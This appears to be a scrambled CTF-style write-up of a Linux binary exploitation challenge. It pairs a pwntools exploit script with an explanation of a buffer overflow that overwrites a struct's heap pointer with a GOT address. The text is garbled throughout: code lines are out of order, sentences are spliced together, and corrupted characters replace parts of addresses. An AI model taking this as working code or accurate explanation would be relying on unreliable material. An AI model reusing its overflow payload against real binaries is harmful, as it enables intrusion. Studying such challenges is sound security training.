recvuntil ( "name: \n " ) # receive bytes till name: input_name = "A" * 24 # sendline() will add \n at the end # we can't overwrite the heap pointer with "C" because program will not find this address input_name += p64 ( 0圆01028 ) # here we need to provide a valid writable address = i.e memset GOT 0圆01028 input_name += "D" * 8 # overwrite the 8 byte pad address input_name += "E" * 8 # overwrite the 8 bytes canary input_name += "F" * 7 # RBP: 7 bytes other buffer conn.
set_defaults ( func = 'network' ) # noinspection PyUnresolvedReferences,PyUnresolvedReferences def exploit ( conn ): """ exploit code :param conn: :return: """ conn. add_argument ( "-p", "-port", metavar = "", help = "provide port", required = True ) self. add_argument ( "-i", "-ip_address", metavar = "", help = "provide ip_address", required = True ) self. add_parser ( "network", description = "exploit network binary", help = "exploit network binary" ) self. set_defaults ( func = 'local' ) # create a sub parser for the binary running on network self. add_argument ( "-m", "-debug_mode", metavar = "", choices =, help = "enable the debug mode, choices =, default=false" ) self. ArgumentParser ( description = "linux binary exploitation" ) # optional arguments self. terminal = # run the local binary in tmux session class UserInput : def _init_ ( self ): # create the top-level parser self. #!/usr/bin/env python2 # author: greyshell import argparse from pwn import * context ( os = 'linux', arch = 'amd64' ) context. There is no boundary checking while taking input from the user.c.name and c.description) and adds a null byte or \0 at the end.Ĭ.description variable holds an address that points to a heap region. Here the format specifier is %s so it reads the input as string until we press ENTER or provide \n, then it stores that entire value into the variables (i.e. Scanf() reads from the stdin based on the format specifier. Memset() function is used to zero out the structure variables. Setup() function is used just to flush out the buffer. name = 24 bytes (originally allocated 20 bytes in code but gcc compiler allocates bytes multiple of 8).So the total size of the structure is 32 bytes.
The block size of the 64 bit system is 8 bytes. Variable c type structure, tag contact is declared in main(). However, the binary is always gets loaded at a fixed address. So the data segment is randomized on every program restart and we can’t hardcode any of those addresses in our payload.